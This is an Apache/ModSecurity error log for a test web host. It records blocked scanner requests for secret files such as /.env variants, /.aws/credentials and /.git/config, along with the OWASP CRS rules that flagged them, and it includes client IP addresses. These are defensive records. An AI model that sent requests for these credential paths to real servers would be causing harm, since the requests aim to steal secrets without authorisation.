[Fri Jun 13 03:48:36.653510 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AAAAAAs&quot;]
[Fri Jun 13 03:48:36.653656 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AAAAAAs&quot;]
[Fri Jun 13 03:48:36.673666 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AQAAAAs&quot;]
[Fri Jun 13 03:48:36.673876 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AQAAAAs&quot;]
[Fri Jun 13 03:48:36.674023 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AQAAAAs&quot;]
[Fri Jun 13 03:48:36.693915 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AgAAAAs&quot;]
[Fri Jun 13 03:48:36.694059 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AgAAAAs&quot;]
[Fri Jun 13 03:48:36.694285 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AgAAAAs&quot;]
[Fri Jun 13 03:48:36.694439 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.old&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AgAAAAs&quot;]
[Fri Jun 13 03:48:36.714383 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AwAAAAs&quot;]
[Fri Jun 13 03:48:36.714588 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AwAAAAs&quot;]
[Fri Jun 13 03:48:36.714750 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0AwAAAAs&quot;]
[Fri Jun 13 03:48:36.778084 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0BgAAAAs&quot;]
[Fri Jun 13 03:48:36.778347 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0BgAAAAs&quot;]
[Fri Jun 13 03:48:36.778527 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aEuDdKRO9RNT700HdUh0BgAAAAs&quot;]
[Fri Jun 13 03:48:37.002398 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEuDdaRO9RNT700HdUh0EAAAAAs&quot;]
[Fri Jun 13 03:48:37.002629 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEuDdaRO9RNT700HdUh0EAAAAAs&quot;]
[Fri Jun 13 03:48:37.002787 2025] [:error] [pid 3821261] [client 185.177.72.210:38906] [client 185.177.72.210] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aEuDdaRO9RNT700HdUh0EAAAAAs&quot;]
[Fri Jun 13 13:03:47.715239 2025] [:error] [pid 3821262] [client 196.251.83.232:44984] [client 196.251.83.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEwFk-gR93g3zLnCzAYV1AAAAAw&quot;]
[Fri Jun 13 13:03:47.715692 2025] [:error] [pid 3821262] [client 196.251.83.232:44984] [client 196.251.83.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEwFk-gR93g3zLnCzAYV1AAAAAw&quot;]
[Fri Jun 13 13:03:47.715905 2025] [:error] [pid 3821262] [client 196.251.83.232:44984] [client 196.251.83.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEwFk-gR93g3zLnCzAYV1AAAAAw&quot;]
[Fri Jun 13 23:54:05.703812 2025] [:error] [pid 3821261] [client 196.251.83.232:57902] [client 196.251.83.232] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEyd_aRO9RNT700HdUh0UgAAAAs&quot;]
[Fri Jun 13 23:54:05.705059 2025] [:error] [pid 3821261] [client 196.251.83.232:57902] [client 196.251.83.232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEyd_aRO9RNT700HdUh0UgAAAAs&quot;]
[Fri Jun 13 23:54:05.705262 2025] [:error] [pid 3821261] [client 196.251.83.232:57902] [client 196.251.83.232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aEyd_aRO9RNT700HdUh0UgAAAAs&quot;]
[Tue Jun 17 12:54:13.546707 2025] [:error] [pid 3908140] [client 77.234.44.186:16614] [client 77.234.44.186] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aFFJVTtYDhvm_gvpEQAuXwAAAAY&quot;]
[Tue Jun 17 12:54:13.547905 2025] [:error] [pid 3908140] [client 77.234.44.186:16614] [client 77.234.44.186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aFFJVTtYDhvm_gvpEQAuXwAAAAY&quot;]
[Tue Jun 17 12:54:13.548089 2025] [:error] [pid 3908140] [client 77.234.44.186:16614] [client 77.234.44.186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aFFJVTtYDhvm_gvpEQAuXwAAAAY&quot;]
[Tue Jun 17 12:54:42.657241 2025] [:error] [pid 3908099] [client 77.234.44.186:16699] [client 77.234.44.186] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aFFJchbycCdpHdwniILGmAAAAAI&quot;]
[Tue Jun 17 12:54:42.657502 2025] [:error] [pid 3908099] [client 77.234.44.186:16699] [client 77.234.44.186] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aFFJchbycCdpHdwniILGmAAAAAI&quot;]
[Tue Jun 17 12:54:42.657663 2025] [:error] [pid 3908099] [client 77.234.44.186:16699] [client 77.234.44.186] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aFFJchbycCdpHdwniILGmAAAAAI&quot;]
[Fri Jun 27 00:09:49.968585 2025] [:error] [pid 1688889] [client 34.145.215.42:42036] [client 34.145.215.42] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aF3FLUoOp-P2UH3Ag8mCGgAAAAA&quot;]
[Fri Jun 27 00:09:49.998955 2025] [:error] [pid 1688889] [client 34.145.215.42:42036] [client 34.145.215.42] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aF3FLUoOp-P2UH3Ag8mCGgAAAAA&quot;]
[Fri Jun 27 00:09:49.999194 2025] [:error] [pid 1688889] [client 34.145.215.42:42036] [client 34.145.215.42] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aF3FLUoOp-P2UH3Ag8mCGgAAAAA&quot;]
[Sat Jun 28 22:40:21.682758 2025] [authz_core:error] [pid 2859301] [client 159.89.12.166:49806] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
